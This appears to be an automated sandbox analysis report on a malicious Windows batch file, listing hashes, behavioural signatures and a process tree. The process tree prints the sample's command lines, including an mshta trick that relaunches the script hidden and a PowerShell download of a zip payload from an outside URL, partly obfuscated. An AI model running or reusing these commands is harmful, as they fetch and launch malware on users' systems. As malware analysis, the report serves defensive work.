Analysis
-
max time kernel
122s -
max time network
129s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
15/10/2024, 23:40
Static task
static1
Behavioral task
behavioral1
Sample
11.bat
Resource
win7-20241010-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
11.bat
Resource
win10v2004-20241007-en
22 signatures
150 seconds
General
-
Target
11.bat
-
Size
158KB
-
MD5
fe40ee4255d4757724cfca0bc65c2384
-
SHA1
d012699b807eb5b32909ffdc365897ecc2b46c15
-
SHA256
2f4252bb9695dd309f064d40d3fa45a122e6a44b3c442bff8d1ee1cd0a27c0fc
-
SHA512
b58e09d1052c5d2e636329bb31337b2addd14971fd2322b382489af238dd536118490f1e4cdd461b68d666a7b0837404014970c6b2245a1f805074b203111dc7
-
SSDEEP
3072:itkxMyL+YnNk57n2+d1zyPpwIjbrnHM7kZQ0u/swy/W:igJKKNk57fdB4pwIjbKkeGW
Score
3/10
Malware Config
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2872 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2872 powershell.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 524 wrote to memory of 2552 524 cmd.exe 32 PID 524 wrote to memory of 2552 524 cmd.exe 32 PID 524 wrote to memory of 2552 524 cmd.exe 32 PID 524 wrote to memory of 2556 524 cmd.exe 33 PID 524 wrote to memory of 2556 524 cmd.exe 33 PID 524 wrote to memory of 2556 524 cmd.exe 33 PID 2556 wrote to memory of 2016 2556 mshta.exe 34 PID 2556 wrote to memory of 2016 2556 mshta.exe 34 PID 2556 wrote to memory of 2016 2556 mshta.exe 34 PID 2016 wrote to memory of 2760 2016 cmd.exe 36 PID 2016 wrote to memory of 2760 2016 cmd.exe 36 PID 2016 wrote to memory of 2760 2016 cmd.exe 36 PID 2016 wrote to memory of 2724 2016 cmd.exe 37 PID 2016 wrote to memory of 2724 2016 cmd.exe 37 PID 2016 wrote to memory of 2724 2016 cmd.exe 37 PID 2016 wrote to memory of 2872 2016 cmd.exe 38 PID 2016 wrote to memory of 2872 2016 cmd.exe 38 PID 2016 wrote to memory of 2872 2016 cmd.exe 38
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\11.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:524 -
C:\Windows\system32\chcp.comchcp 650012⤵PID:2552
-
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("wscript.shell").run("""C:\Users\Admin\AppData\Local\Temp\11.bat"" ::",0)(window.close)2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2556 -
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\11.bat" ::"3⤵
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Windows\system32\chcp.comchcp 650014⤵PID:2760
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/wp-content/cache/wp-rocket/synaptics.zip', [System.IO.P~37, 1%w%jF,fXtX%k%Qi[NN,$AICSALx_$$%coMMONPRogRAmw6432:~1, 1%J1%dGtLVU%h%jQqkBx%w%ohVlWGB%W1%WWLhu%h%pRJZg%p%tRQR,Bj%s%dLQP?g%S1%XVlPzC%d%])b#j?%w%ipATPi_%k%GoA$sjtXRUWldbsveEsiUdSjdtF])g$%a%zN[h$P::FWfQj3f9.zip') "4⤵PID:2724
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2872
-
-
-